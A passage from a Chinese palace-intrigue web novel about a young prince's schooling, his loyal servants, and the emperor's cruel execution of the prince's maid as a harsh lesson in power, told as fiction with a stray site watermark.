乐福安睡在踏道守夜,接话道:“小殿下,您是陛下的孩子,就算纯妃娘娘之前有过孩子,他们都不能和您攀关系,也不配和您攀关系,所以……她不是您的长姐。” 芽姑轻轻踹了他一脚,骂他,“你和小殿下说什么呢。” 乐福安蹙眉道:“本来就是,小殿下金尊玉贵的,怎能与旁人相提并论……你方才是瞎了眼了?没看见娘娘是什么表情?” “……” 芽姑瞬间闭了嘴。 自然是看见了,还看得清清楚楚。 纯妃娘娘分明是借着小殿下想到了她从前的孩子,连敷衍都没有,小殿下眼巴巴地送元宵过去,她碰也不碰就把小殿下赶回来了。 小殿下不过嘴上不说,心里指不定难过呢…… 师离忱捂着耳朵道:“睡了睡了,不吵。” 芽姑叹了一声,哄道:“好好好,不吵架不吵架。” 临睡前,乐福安补了句,“圣上今日发了话,要殿下去国子监开蒙,明日就该指派人过来了,注意点看人。” 黑暗中。 芽姑眼底沉着,幽幽道:“我有分寸,倒是你,别犯蠢。” * 宫中目前在国子监授课的皇子有两位,一个是先皇后所生的大皇子,今年已有十二,一个是宫女所生的四皇子,今年十岁。 按年纪他们应该开始接触朝中要务,只不过皇帝迟迟没有提,只让他们继续在国子监念书。 师离忱刚去国子监开蒙识字,所学的内容不同,不会与他们分到一起,去国子监之前还要挑伴读。 师明渊也没让师离忱挑,直接送了两个过来,这两个人没有什么显赫的家世,硬要说就是书香门第,清流之家的孩子。 皇子伴读在月商是有官身的,正儿八经的九品文官,不影响参加科举,由适龄人陪同。 只是皇帝给师离忱送来的这两位,明显年纪要比他大一些,十来岁左右的年纪,一个内敛一些,一个外向一些,站在师离忱面前行礼。 “微臣,柳清宁。” “微臣,许惟一。” 二人道:“见过殿下。” 师离忱只觉得这二位有些倒霉,明明早熟读了四书五经,还要跟着他一起重新上一遍国子监。 而且父皇既然送来了,没让他挑,也就是不许他换的意思。师离忱压了压唇,让他们起来,“坐。” 芽姑给他们上点心,笑呵呵道:“先吃些东西垫一垫,等会儿乘马车出宫,在国子监劳二位多顾着些殿下了。” 柳清宁一板一眼道:“会的。”他眼睛扫过师离忱,很快低下头,有些不自然地抓了抓袖口。 许惟一比他诚实多了,一边吃点心,一边盯着师离忱,哇道:“我还没见过殿下这么好看的娃娃,前些日子看了本书,书中说什么‘粉雕玉琢’大概就是殿下这样了吧?” 被他一说,气氛松快了不少。 师离忱咽下口中的汤,等乐福安给他擦完嘴,才说话道:“我不是娃娃。” “微臣的意思是,殿下很漂亮。”许惟一道。 乐福安笑道:“那是自然,我们小殿下是世上最好看的,合该配世上最好的东西。” 师离忱恍然,眨了眨眼抬头看乐福安道:“……那我可以多吃一点葡萄冰水汁了?” “……”乐福安板下脸,“不行。现在日子本来就冷,再吃冰水……小心闹肚子。” 师离忱鼓起脸,闷闷不乐地哼了声。 芽姑在旁边笑话他,“小殿下又闹脾气了,上回殿下偷偷去小厨房叫御厨给你做冰水,偷喝了两碗,闹了一晚上你忘了?” 这种糗事也拿出来说。师离忱恼怒,脸上带了一层薄薄的胭脂色,叫她:“芽姑!” “好了好了,奴才不说了。”芽姑讨饶,“小殿下宽恕。” 师离忱冷哼一声。 …… 闹了一会儿,套好的马车过来接送。皇宫本不该有马车行走,是皇帝单独吩咐的结果。 也不需要什么理由,要是靠师离忱两条腿走到宫门口,走到国子监下学恐怕都还没走出宫门。 乐福安在前头驾车,一路送到国子监门口。芽姑抱着师离忱下车,对上乐福安担忧的眼神,她道:“……下学就回来了。” 乐福安抹着不存在的眼泪,“一想到殿下昨儿还在襁褓,今日就能上国子监了,咱家就感慨。” 柳清宁和许惟一揣着袖子跟在后头,风吹过来,显得二人身形单薄,师离忱低眼发现柳清宁耳朵尖被冻红了。 他想了想,在芽姑耳边悄声说了两句。芽姑不找痕迹地打量了一眼二人,也悄声对师离忱道:“知道了殿下。” “……” 国子监授课六人一学堂,开蒙识字,君子六艺。 师离忱是屋中最小的,国子监祭酒也摸不准圣上的意思,只能多照顾些,尽力授课。 然后祭酒发觉,六皇子学得快,并不需要特意多解释几遍,也就放下一颗心来。 芽姑不能进国子监,在外头等,下学后瞧见走出来的师离忱,赶紧迎了上去,“小殿下,感觉如何?” 对于国子监,师离忱的印象算不上差,但也算不上好。一整日的课上下来,他困乏地紧,打着哈欠道:“好累。” 芽姑心疼坏了,往师离忱嘴里塞了颗果脯,酸甜可口,“也不知圣上怎么想的,让殿下这么早就来国子监,殿下有遇到大殿下和四殿下吗?” 师离忱耷拉着眼皮,迷迷糊糊道:“没见到。大皇兄和四皇兄的院子和我隔了好远……” 说着说着,他声音渐渐小去,已然疲惫到了极点,等不到回宫了,先趴在芽姑腿上睡着了。 芽姑心疼地理了理他的头发。 马车外传来乐福安的声音,“殿下怎么没声了?” “睡着了。”芽姑应道。 她怕惊扰了师离忱,手中动作放得很轻柔缓慢,仔细检查着师离忱手脚上有没有受伤,看着还是白白嫩嫩的,她才松了一口气。 * 第二日去国子监。 回宫前,师离忱给两位伴读送了两件合尺寸的防风大氅。 芽姑道:“里面皮绒厚实,下雪也不会冷着,二位公子莫要推辞,是我们殿下的一片心意。” “……” 柳清宁与许惟一愣怔片刻,随后郑重地朝师离忱行了个礼,师离忱笑弯了眼道:“二位学识深厚,往后多年还要一同进退,有些不知事的地方还要二位多指教才是。” 柳清宁低声道:“殿下言重。” 许惟一欢喜地披上大氅,扬眉道:“殿下放心,微臣一定不给殿下丢人,来年科考拿个功名给殿下长脸!” 师离忱嫌弃道:“功名那是给你自己考的,真要谢我就多给我带点果脯。”他看了眼芽姑和乐福安,哼道:“他们老管着不让我多吃。” “哎哟我的殿下。”乐福安一拍大腿,委屈道:“吃多了您牙疼啊!适量而食。”又对许惟一道,“可别听殿下的,不能给殿下送果脯。” 师离忱急了,“福安!该打!” 跺了跺脚,就迈着短腿追过去扬手要打人,打又舍不得打重,他本身力气也不够大,几下打下去,自己手心反倒红了。 乐福安装得很疼,哎哟哎哟的求饶,“别打了殿下,奴才知道错了,哎哟殿下可疼呢……” 芽姑一把把他推到一边去,握着师离忱的手心看了两眼,扭头骂乐福安,“你个皮糙肉厚的,把殿下手心都打红了。” 她回头对上师离忱的眼神,心都软了,笑道:“吃,不就是果脯,殿下还没换牙呢,偶尔多吃两个不打紧。” 师离忱这才眉开眼笑。 一旁柳清宁和许惟一也看得笑开来。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-100 第91章 “小殿下,抬手。” 芽姑笑眯眯地哄着师离忱,给师离忱穿上适宜的外氅。时至今日位置,殿下已经在国子监读了整整三年的蒙学。 她一边替师离忱梳着头发,熟练地将细腻长长的卷发抹上香膏,梳成一个漂漂亮亮地发样,打上金灿灿地发扣,收拢小束垂坠的发丝。 看着安安静静地小殿下,她忽然想起曾遇到圣上召见国子监祭酒的场面,她去奉茶,听国子监祭酒曾说过—— 殿下聪慧,蒙学一看就懂,尤其是在识字后自己翻看四书五经,偶有不懂稍加点拨便能举一反三,是不可多得的奇才,还懂得避锋芒,不争抢,是个极好的孩子。 当时圣上说了什么? 圣上只意味不明地冷笑了一声,道:“避锋芒,不争气……朕的孩子,最不需要的就是这个。” 谈话间,曾扫过她一眼。 芽姑心下隐隐不安,直到听见师离忱轻声呼唤,“芽姑,芽姑,好了吗?我上国子监要迟到了。” “是奴婢的错。” 芽姑回过神来,赶紧重新挂上笑容,将最后一个发扣戴上,轻声哄道:“小殿下,弄好了,芽姑抱你去好不好?” 六岁的师离忱身形已经开始抽条,并且已学起了君子六艺,有授课武师,不过他骨架小,哪怕是被芽姑抱起来,看起来也好像没长开多少。 他搂着芽姑的脖子,有些害羞地红脸,“芽姑,我六岁了……不能再被抱来抱去……” 说话声细弱蚊吟,又羞又恼,不仔细听还听不出他到底在讲些什么。 乐福安耳朵灵敏,不等芽姑反应,便边绕进内殿边打趣道:“小殿下这是知羞了!” 他笑呵呵地捧着一个热乎乎的饼子塞到师离忱手中,这是每日都必备的。 小殿下喜欢多睡一会儿,起来时要赶去国子监,便会来不及用膳,殿下又挑嘴,寻常东西根本不入口,脾气倔起来就算饿着也不会吃不想吃的东西。 乐福安绞尽脑汁,想起了家乡那香香脆脆的烤馅饼。 那玩意虽普通,也算不得什么珍贵物件,不过一点肉沫小菜,和一点芝麻面粉,入口却是有嚼头和香气,还能填饱肚子。 也幸而,这玩意能得小殿下青睐。 故此,每日清晨的小殿下咬着热乎乎的馅饼,坐在马车上,这般慢悠悠地去往国子监。 芽姑瞪了眼乐福安,小声骂道:“明知小殿下脸皮薄,你还说这种话,该给你缝嘴,小殿下就乐意让我抱。” 乐福安哼了声,“得了便宜就偷着乐吧,咱家不和你一般见识。” 小殿下四岁往后便鲜少让他们抱,说是八弟和十一皇弟都自己走路,他不能如此例外。 今天倒是反常。 师离忱搂着芽姑的脖子,去殿前乘车的路上,悄悄窝在芽姑耳边道:“……芽姑是不是有心事?” 芽姑一惊,随后不着痕迹地笑了笑,“殿下多虑了,芽姑刚刚是在想,宵夜是该给小殿下备甜米羹还是小馄饨。” “都不好。”师离忱摇头。 这会儿小殿下哪里比得过一个在宫中生存多年的女官,轻而易举便被绕开了话题。 他并未多想,鼓着小脸道:“福安前段时日给我偷藏了蜜饯,被祭酒发现了。祭酒曾说我这般年岁,不该多多贪甜食,不可多用多食,宵夜便不上了吧。” 尤其他这个年纪的孩童,正在换牙。 师离忱平日本就喜爱精致漂亮,掉了一两颗乳牙后就更不爱笑了,一笑上牙左边就有个缺牙漏风的小黑洞。 这其实并不影响什么,还会显得他可爱非常,可他总觉得不完美,便整日绷紧了嘴不爱说话,也就只有和芽姑福安一块,才会像做贼似得讲上两句。 “好好好。”芽姑哄着应下,旋即将师离忱送上马车,叮嘱道:“殿下注意安全。” 乐福安坐上车辕驾马,笑眯眯道:“咱家跟着呢,能有什么事……别操心了,外头风寒快回去吧。” * 钻入车厢。 里头坐着一大一小的豆丁,眼巴巴地看过来。如今的八皇子师朝旭也到了开蒙的年纪,与他坐一个车架去往国子监。 一进车厢,师离忱立即收起了笑容,抿唇不肯露出一点牙尖。 车中等待的师朝旭没那么多心眼,一见到师离忱,当即扑过来,肉乎乎的小短手挂在师离忱的腰上,眼睛亮晶晶地盯着师离忱,话还说不利索却会嘟嘟囔囔地唤:“皇,皇兄……一起!坐!” 师离忱扯了他一把,将他扯回座上,自个也坐了上去,任由师朝旭爬回来,重新挂在他腰上。 师朝旭小脸埋在师离忱身侧,深深嗅一口,憋红了脸,蹦出一字:“香!” 师离忱这才想起,馅饼没吃。 他摸出油纸包好的馅饼打开,掰扯了一半给馋到快流口水的八皇弟,然后拍拍他的脑袋。 马车轻缓着往前行。 忽然想起什么,师离忱咬着馅饼掀开车帘,回头瞧见长长的廊下,那琉璃砖瓦红墙下,着一身翠绿女官宫装站立的芽姑。 她并未听福安的回殿避风,而是站在那儿目送他们离去,隔得有些距离,师离忱已经看不清表情,只记得这会儿的芽姑。 像一幅画。 师离忱有些懊恼。 他还没问芽姑,到底藏着什么心事。 等国子监下学,他一定要问清楚。 第92章 晌午刚过。 浓云密布,一场细雨浇落,洗刷了大雾带来的沉闷。 国子监下学后,马车入宫先送师朝旭回宫,乐妃娘娘派了大宫女前来迎接。 师朝旭扒拉着师离忱不肯放开,两厢拉扯间,他嗷了一嗓子哭出来:“不,不,我要和皇兄走——” “哎哟八殿下,明儿个国子监尚有课业,还见得着,这会儿快入夜了,您就松手吧。” 乐福安止不住劝。 师离忱只来得及护着腰带不被拽下来,脸憋得通红,光顾着拉扯一句完整地话也没憋出来。 大宫女着急地哄,“殿下,您快松开六殿下吧,还下着雨呢,风大,当心淋坏身子。” 师朝旭想不通那么复杂的事,他只是不想和皇兄分开,一经提醒愣了愣,这才注意到风雨已经顺着敞开的车厢门,刮到了皇兄身上,发丝上挂着些许水珠,衣袖也湿了不少。 总听他们说,六皇兄体弱,万一病了…… 师朝旭扁着嘴,缓缓松了松手。 大宫女松了口气,抱着师朝旭对着师离忱行一礼,“奴婢无能,叫六殿下一同受累了。我家娘娘如今身子不大好,怕给您过病气,不便亲自相迎,还望六殿**谅。” “不打紧。”师离忱交代了两句,“记得叫太医来请平安脉,小八方才也淋着了。” “喏。” 大宫女低声。 恭送马车缓缓驶离。 …… 师离忱用帕巾细细擦去吹到身上的水珠,实在擦不去的就随他去,左右回殿中都是要换掉的。 今日国子监布置的课业并不繁重,还有空呆在芽姑身边,学一学捏面饼…… 思索间,听到一个急切的声音。 “不好了!不好了!” 一个小宫女从千秋殿的方向跑过来,伞也没打淋了一身狼狈。乐福安瞧见是千秋殿中侍奉的宫女,忙叫停了车马,蹙眉道:“怎得了这是,火急火燎的。” 小宫女抖着身子,却来不及顾自己,只缓了一口气,红着眼道:“福安公公,快些带殿下回去吧,芽姑要被打死了!” “你说什么?” 骤地,车厢窗子‘哗啦’被拉开,被风雨浇盖,师离忱方才没听真切,此刻他冷着脸道:“你说什么?!再说一遍!” 小宫女脸上分不清眼泪还是雨水,声音还在发颤,“今日陛下来见娘娘,芽姑照例上茶,奴婢在门外听着纯妃娘娘叹了一声。” * 千秋主殿燃着淡香。 原是握着针线出神绣花的纯妃,被茶盏碰撞声恍然惊醒,抬眼看到正在为皇帝奉茶的芽姑。 愣愣看了片刻,眉间忽而染上愁绪,轻叹一声:“若是我能如你一般面面俱到,或许能与我儿更亲近些……” 她不过是自言自语,可殿中之人哪个不是耳聪目明,登时吓得大气不敢出。 芽姑猛地跪地,不敢自辨半句。 皇帝垂眸一言不发,端起茶盏慢吞吞地抿了一口,又缓缓放下,盏盖半阖在杯沿,不凉不烫的茶水只冒出一丝淡淡热气。 皇帝却淡淡道:“茶烫了。” “拖出去。” 殿中声音带着帝王不容置喙的漠然。 “杖毙。” 第93章 细雨浇在脸上是冰冷的。 再冷也抵不过内心不由自主涌上来地惶恐。 师离忱跳下车,踩着雨水一路狂奔,小宫女追在身后,继续解释:“纯妃娘娘方才又与陛下吵了一番,芽姑临刑前与奴说了,叫殿下千万小心,切莫为她再触怒龙颜……殿下……殿下!” 小宫女跑了许久,已然有些追不上,乐福安跟着打伞都来不及,将伞往小宫女手中一塞,追上师离忱挡在前头。 师离忱抬头,顾不得浑身湿透,怒呵道:“闪开!” 此刻乐福安极为冷静,蹲下身子与师离忱齐平视线,神色肃然,“殿下可想好,这般过去,到底是劝诫,还是进而激怒陛下。” “我不能眼睁睁瞧着芽姑受难。” 师离忱咬着牙,眼底有泪,“福安……我没办法,你应该明白我的。” 话音未落,他陡然绕开了乐福安,继续往前去。乐福安抹了把脸上的雨水,叹了一气,继续追在身后。 谁都明白。 皇帝决意处死一个人,那么,此人必定必死无疑。 前去劝阻除了徒添怒气,无半分用处。 * “殿下!陛下正在殿内,殿下切莫擅闯!殿下!” 旁人或许不知,可侍奉皇帝多年的大监却清楚的很,这宫中六殿下才是皇帝心尖上的皇子。 故此瞧见六殿下冒着雨冲进来时,候在主殿外的大监并不敢用劲阻拦,闹得一阵轻乱后,一个不设防便让六殿下闯进了殿内! 内间还有若有若无啜泣声,师明渊不耐抬眼,便见师离忱冲进殿内。 半大的人,还才及大人腰间,却毫不犹豫地撩开衣摆跪下,脑袋重重叩下,低声道:“儿臣请求父皇,饶了芽姑,若是芽姑犯了错处,还望父皇海涵,念在芽姑侍奉儿臣多年份上,将她赶出宫便是。” 后头追进来的宫人们,见皇子跪了,哪敢站着,瞬间齐刷刷跪了一地,恨不得捂了耳朵戳瞎眼睛就当什么也不知道。 殿中陷入沉寂。 须臾。 响起一声短促的笑声,嘲弄中带了些许积压的怒气。 “一个奴婢,也值得你跪在朕面前磕头求情?” 师明渊冷眼看着满身湿透的师离忱,手边茶盏骤然坠地,瓷片碎裂发出清脆声响,叫殿中宫人们情不自禁抖了抖。 师离忱仍旧佁然不动。 “看看你的样子!”师明渊声音冷怒,“区区一个奴才就能叫你乱了方寸,失了准心。” 他呵道:“给朕站起来!” 师离忱捏了捏手心,站起身。方才磕得太重,这一小会儿的功夫,他额前已经红了一块。 师明渊打量了一眼师离忱,神情分不清喜怒道:“你既这样在乎那个奴才,朕便让你去亲眼看看。” “走。” * 大雨倾泻流落一地。 台阶之上是长廊,廊檐划开了雨幕,檐边堆积的雨水如飞落的银线往下掉,砸地溅出的雨水,只能够到最低一级的台阶。 云层被压得很暗,空气中似蔓延着沉闷,沉甸甸地压在每个宫人的心头。 他们含胸低首,聆听着隐约从雨中传来的,板子重重击打在**上的声音,藏在袖底下的手都在微微发颤。 雨里景象是模糊的。 能看到站着行刑的人影,挥舞起来的板子,重重地敲击。 “给朕看清楚。” 大手死死压在师离忱肩上,将他定死在廊下的这把椅子上,让小小的身子无法挪动半分,只能眼睁睁看着板子一起一落。 师明渊站在椅子后头,笔挺地身影将椅子与椅子上的人完全笼罩,微微俯身,“好好看清楚,她是怎么死的。” 他声音漠然,比雨水还要凉,还带着一丝危险地杀机,“记住这次教训,朕的皇子,永远不能屈膝。” 师明渊大手微微用劲,制住了还在继续妄图走下椅子的师离忱,冷道:“这也是朕给你的第一堂课,羽翼不够丰满的时候,别暴露自己的软肋。” 师离忱心口剧烈起伏。 他阻止不了。 他阻挠不了! “……” 雨中行刑的侍卫停下动作,不多时跑至廊下,屈膝禀报,“陛下,断气了。” 师明渊摆摆手,“拖走。” 师离忱耳中只剩一片嗡鸣,眼睛定定地看着雨幕中俯趴的人影,喉咙像被掐住了一般说不出话,本就艰难地呼吸在此时愈发窒息,无数心绪堆积,眼前阵阵发黑。 下一瞬。 “……小殿下!” 一声惊呼,乐福安急忙托住师离忱垂下的脑袋,跪地对着椅背后的帝王告罪:“陛下恕罪……小殿下昏过去了。” 师明渊不语,只低眼看了看,片刻后他轻叹一声,弯下腰将椅子上小小的身影抱了起来。 父子间第一次这般近距,可有几步之外的血腥场面点缀,叫人实在品不出温馨,余一地战战兢兢。 第94章 宫中死了个宫人,就像树上掉了片叶子,用扫帚轻轻一扫,用巾帕一擦,就没了半点痕迹。 经不起一点波澜。 微不足道。 甚至因为是帝王赐死,携皇子亲自监刑,宫人连提都不敢提半句,不想被牵连,也不敢妄议。 千秋殿一如既往,宫人们按部就班。 六殿下一病便是大半个月,病气走得慢,大半个月过去脸色还略显苍白。 师朝旭许久没见兄长,摇摇摆摆地跑过来探望,就见兄长死气沉沉地坐在窗前,直愣愣地看着空旷的殿前空地。 唇色是白的,眼睛是空的,和平时的兄长不一样,嘴角没有半点笑意。这让师朝旭想起母妃前不久送他的一块玉珏,冰透秀气,却极易碎,啪嗒一下掉地上,就轻轻碎成好几块。 皇兄就像那块玉珏,似乎也带上一层琉璃之色。 “皇兄,皇兄。”他扯了扯师离忱的袖子,小心翼翼递上几颗蜜饯,试图哄人开心,“听闻皇兄近来喝药辛苦,母妃给我的蜜饯我藏着没吃,特地给你带来了,尝尝吗?” 师离忱耷拉着眉眼,没什么反应。 师朝旭急得挠头,“我用帕子包着的,很干净的,皇兄?皇兄?”他晃了好几下衣袖,终于得来师离忱一个眼神。 “我没胃口。”师离忱缓缓开口,稚嫩的声音有些沙哑,又问:“你出来多久了?” 师朝旭嘀咕:“好像有半个时辰……” 师离忱轻声道:“回去吧,晚了贵妃娘娘该急了,届时出来寻你,又要赏你两个手板。” 乐贵妃看管师朝旭一向严,从不肯师朝旭在宫中四处乱跑。 但架不住师朝旭非要闹着来千秋殿,她被烦得没招数,有时会同意那么一两回让师朝旭出来玩一玩,可时间一长不回去,便会遣人来寻。 回晚了自然没什么好果子吃。 听到打手板,师朝旭双唇一下抿紧,显然是忌惮的,紧张的,害怕的。他抬头看着师离忱一会儿,总觉得皇兄下巴都瘦削了一圈,委委屈屈道:“可是我想和皇兄呆在一起。” 这会儿乐福安从殿外进来,捧着一件大氅轻轻披在师离忱肩上理好,对师朝旭温声细语道:“八殿下见谅,咱家殿下也是怕给您过了病气,这病着的滋味可不好受……您啊便听听劝,先回去吧,过两日殿下身子好些了,自然就能在国子监见着了。” 话语虽是温和的,却带着几丝毋庸置疑,师朝旭只得作罢,不情不愿地点点头,踮着脚把蜜饯留在了台面,“那福公公可要照顾好皇兄。” “八殿下放心。”乐福安笑着应答,滴水不漏。 直至将师朝旭送出千秋殿外,送到乐贵妃派来接送的大宫女手中,才退回,回到殿内。 从窗子的位置看去。 恰好能看到那片禁军曾行刑的空地,此时此刻,那里景色如故,毫无被血腥气冲刷过的样子。 * 日子又恢复了往常。 死了个宫人经不起多大波澜,只不过死的那个恰好侍奉在六皇子身边,国子监中有人得到消息,自然而然猜测,是否是陛下对六皇子心生不满。 这是许多人都乐见其成的模样。 如今大皇子已有十五,已入朝旁听。 虽未被立为太子,却是先皇后所出的唯一子嗣,是除了十一皇子以外最正统的正宫嫡子,若陛下真有立嗣之心,立嫡立长,大皇子是当仁不让的第一选择。 至于十一皇子,继后所生,虽为嫡子,可路都还走不稳,自是不被算在其中。 但对于师离忱来说。 日子与平时并无二样,祭酒并不会因为几分风波就苛待皇子,其他人也没那份胆子。 武试课。 他举起弓箭,目光沉静,瞄准靶心,缓缓将弓弦拉满。一旁授课地祭酒忍不住露出惊诧之色,丝毫未能影响师离忱发挥。 弦被拉至满月,骤然弹响,利箭奔出如一线流光,直直钉入靶心! 祭酒观望一会儿,叹道:“殿下气力非比寻常,国子监再过两年怕是没能什么能够再授予殿下了。” 这弓寻常六岁小儿,能拉过半都算天赋高,不曾想六殿下居然能拉满,抵得上十四五岁的少年了。 师离忱重新搭上一只箭,头也没抬地扯出一个笑,“祭酒过誉,只是君子六艺其一项,算不得什么。” “若能得名将授课会更好些。”祭酒道,“殿下这般年岁,能有这样的本事,很是厉害。” 师离忱未答,只松开了手里的弦。 又一箭嗖地飞出。 “咔嚓——” 直接把前一根钉在靶心的箭,从尾端劈成了两半,钉在了同样的位置,他扭头看着祭酒,天真微笑:“果真?多谢祭酒称赞。” 祭酒被那一箭劈一箭的锋芒惊了一瞬,对上师离忱澄澈的双眼,心又松了松,“殿下本就优秀,此言算不得称赞。” …… 国子监下学后,师离忱先去千秋殿见过了纯妃。 纯妃今日精神瞧着很好,他乖顺地站在原地,让纯妃用布料在他身上比划。 “手脚变长了,这衣裳还要改改。”纯妃一边比划,一边说道:“今年身量长得比从前快,不是才四岁吗,怎么……” “母妃。”师离忱打断她的碎碎念,抬眼平静道:“再过几日,儿臣就到七岁生辰了。” “七岁……” “不,不对……” 纯妃神色忽然变得惊恐,丢开布料,捧住师离忱的脸,大力地揉搓,“不对,不对,你的脸怎么不一样了,叶儿,你的脸……” 她力气用得不算小,两下一揉,很快就让师离忱脸颊上出现掐痕,乐福安大惊失色急忙阻拦,“娘娘快住手,娘娘,娘娘!” 话音未落。 师离忱闭眼,脸侧传来细微的疼痛,纯妃指尾的护甲在他脸侧划出了一道痕迹,嫣红的血从白嫩皮下渗出。 乐福安心疼的想护住师离忱,却不敢上前,只抖着声唤:“……小殿下。” 而见到师离忱脸上出现的这抹红,纯妃像是受到了惊吓,骤地把师离忱推开。 他踉跄两步单薄的身子倒下,却没摔在冰冷的赤地上,反倒感觉到背后软软的,他摔在了乐福安身上。 福安及时爬过来,替他垫了一下。 “母妃今日身子不适,儿臣会唤太医令来替母妃瞧瞧。”师离忱站起身来,脸上那道划痕里不断往外渗出血迹,垂坠到下巴,却不曾破坏这张脸庞的精致,反而瞧着有几分森森血气。 他未伸手去摸,而是看着纯妃,轻声道:“待母妃改日好些了,儿臣再来向母妃请安。” 说罢规规矩矩地行礼,退出了殿外。 此事很快便传至御案前。 陛下并未多言,只命人给千秋殿送来一盏上好的进贡伤药。 可殿下脸上这么一条疤痕显眼,母伤子终究有损声名,有人旁敲侧击的问起,乐福安也只对外只说六殿下贪玩,不小心自个划伤了脸。 …… “好在殿下年幼,恢复的快。” 乐福安一边叹息,一边细细给师离忱将药膏擦在伤处,这条疤痕从划伤到愈合,拢共也就七八日,如今只剩下一条细细的粉线,不仔细瞧,便瞧不出什么痕迹。 乐福安道:“八殿下说过两日您生辰,他要与您一起过夜,提前和您知会一声免得您又赶人。” 师离忱道:“贵妃娘娘同意了吗?” “遣人去问过了,娘娘说八殿下非闹着要来,左右和兄弟亲近不是坏事,就让他来了,嘱咐您多照看照看。” 话说到这会儿,乐福安已经小心地给药膏全部抹好,唤来宫女净手,将手上的水渍都擦干净了,才去为师离忱整理衣物。 见师离忱兴致不太高,他轻声劝慰道:“殿下,一切都会好的。” 师离忱勉强笑了一下。 乐福安叹道,“殿下不想笑就不笑。” 师离忱低着眼,晶莹的珠子掉了两颗在地上,眼下的痕迹很快就被乐福安不着痕迹地拭去。 乐福安打量了周围一眼,索性宫人们都在忙手中的活,没人在意这处,才悄悄松了口气。 这时,殿外传来一个动静,一人踏进殿内,不偏不倚朝屏风后的师离忱行礼,“咱家见过六殿下。” 是陛下身边的大监。 大监客客气气地道:“六殿下生辰将至,陛下心里头惦记着您,今年特许您自个挑个生辰礼。” 闻言,师离忱顿了顿,语气平静道:“什么都成?” 大监和蔼道:“陛下说了,能许的都成。” 什么叫能许的?师离忱道:“那父皇能立我做太子吗?” 此话一出,满室沉寂,大监的笑骤然僵在脸上,哪能想到这么丁点大的殿下能语出惊人。 他顿时变了脸色,扫了一圈跪了一地的宫人,冷呵道:“都把耳朵捂紧了,嘴巴闭好,敢往外说一个字仔细你们身上这层皮,全都滚出去!” 宫人胆战心惊,慌不迭的退出殿外,顺手闭紧了殿门。 大监擦了擦额角冒出的冷汗,又陪起笑脸朝师离忱道:“六殿下,您可别拿老奴开涮,这事关重大哪里是奴才能说了算的……哈哈,您看您要点别的?” 师离忱轻嗤了声。 * 此番大胆言论,不过片刻便被大监带回给了陛下,原模原样复述进了师明渊的耳朵中。 ——“那父皇的龙椅不能给我坐坐?” 大监:“呃……这……这……六殿下,大逆不道的话可万万不能再讲。” ——“没意思,这样不行,那也不许,我出宫到外头走走吧。” “……” 大监复述完,冷汗一直不断的冒,总觉得下一刻小命要被六皇子连累一块丢了,这话放在历朝历代,哪个皇子谁敢说,谁敢? 所谓天家无父子,说了和找死有什么分别。 御书房中陷入死寂。 须臾,忽然响起师明渊爽朗地笑声。 “祭酒说的没错,这孩子非同寻常。”他低头批注着折子,笑道:“就是太任性,言辞太过肆无忌惮。” 大监未等到降罪,反倒等到这么两句模棱两可的话,顿时松了口气,赔笑道:“六殿下到底年岁小,民间如殿下一般年岁的孩子,如今恐怕才开蒙不久,殿下已然懂得诸多道理,十分难得。” 师明渊哼笑,“也罢,随他去玩两日,往后这松快日子可不多了……他殿中的人都长了耳朵舌头,处理干净些。” 大监应了声,“禁军去办了。” 师明渊凛然低眼,朱笔滴墨,这封奏折恰好是御史台上奏,言辞恳切的在请封立储。 他双眸微眯,眸底划过一丝森然,“老大和老四,年岁相当,如今老大听朝也有段日子了,叫老四也一块来吧。” 师明渊声音淡淡的宣判,淡的像是随意讲述今晚喝了什么茶,就这么隐晦的宣判一个皇子的未来。 大监颔首应和。 师明渊又道:“皇后自诞下小十一后,便没在老大身上下过功夫,这老大和小十一都喊她母妃,可别厚此薄彼。” 大监道:“陛下说的是,元皇后去得早,大殿下没了生母性子是偏激了些,好在皇后温婉,照看得来。” 师明渊头也不抬地沉沉嗯了声,道:“纯妃这两日可好些了?” “奴才顺道瞧过,好些了,今儿还问奴才您什么时候过去,她要包抄手给您尝尝。”大监笑禀。 闻言师明渊放下朱笔,语调也软和了下来,“朕就知道……她心中一直有朕,就是倔……” 话虽如此,他却迫不及待地去整理衣冠,面上笑意从头到尾不减半分,摆驾至千秋殿。 * 国子监下学回来。 师离忱打眼就瞧见守在主殿门前的大监,殿内响起一阵摔砸声,以及师离忱熟悉的争吵。 大监恭敬地朝他比了个手势,师离忱便微微颔首示意,往旁边小道绕开,径直回了偏殿。 乐福安给师离忱褪去大氅,笑道:“陛下许了,殿下明日后日都可以出宫游玩,但要赶在宫门落锁前回来。” 师离忱两脚踹了鞋子,往榻上软软一靠,打着哈欠道:“许惟一说,他和柳清宁唤了人,要与我一同去郊外游玩,许惟一说他家庄子周围栽满了银杏,金灿灿的漂亮,平日没这个机会,所以多叫了些人一起热闹。” “城郊?”乐福安拧眉,“不成,得叫人跟着您。” 师离忱笑道:“左右是聚些人一块玩,怕什么,还能吃了我?” 乐福安嗔道:“您明知奴才不是这个意思。”说着他又笑道,“不过他们要是能哄得殿下开心,也不算坏事。” 师离忱正欲再说两句,抬眼一看,奉茶的宫人面孔陌生,眉头陡然蹙起,“怎得先前没见过你?” 骤然被问话,那宫人被吓得端着茶盘的手一抖,咚的跪地俯首:“殿下明鉴,奴婢是大监新调来侍奉的。” “……” 师离忱转头扫视,殿中宫人几乎有八成是陌生面孔,他忽地坐起身来,被乐福安悄然按住。 乐福安朝师离忱微微摇了摇头。显然他早就发现,只是并未说破。 师离忱顿了片刻,原本上扬的嘴角,一点点拉平。 又被慢慢扶着躺了回去。 他没了说笑的心思,抿了抿唇,背过身去。 单薄的身子微蜷,默不作声的,仿佛被郁气笼罩。 乐福安默默叹了一气,有时候真希望殿下可以不要太过于聪慧,不背负太沉重的枷锁。 在殿下心中,他只是说了他想说的话,没什么是他不能说的。 可奴才听了不该听的,是会没命的。 第95章 翌日。 今儿个天不算明朗,日头时有时无,算不得明媚,却也适宜。 与两位伴读相约于东街会面,许惟一趴在楼阁上张望,瞧见街头出现车马卫队的影子,招呼着楼中众人道:“走走走,去接殿下。” 楼中零散聚了有四五十人,一部分是国子监的学生,一部分则是京都城中官员子弟,还有些已经先行一步,到庄子上做准备。 京都中热闹事少,大小有点动静,一个呼一个便都唤出来游玩,有事没事爱来凑热闹的这会儿都聚到一块了,什么年龄段都有。 于是乎,师离忱掀开车窗,便被一帮热情贵公子们哈哈着打招呼,要不是马车挤不上来,他们看样子还想上车。 师离忱愣了愣,精准找到人群里的许惟一和柳清宁,“你们还不上来?” 说罢便把窗子拉上,隔绝了一众探究视线。 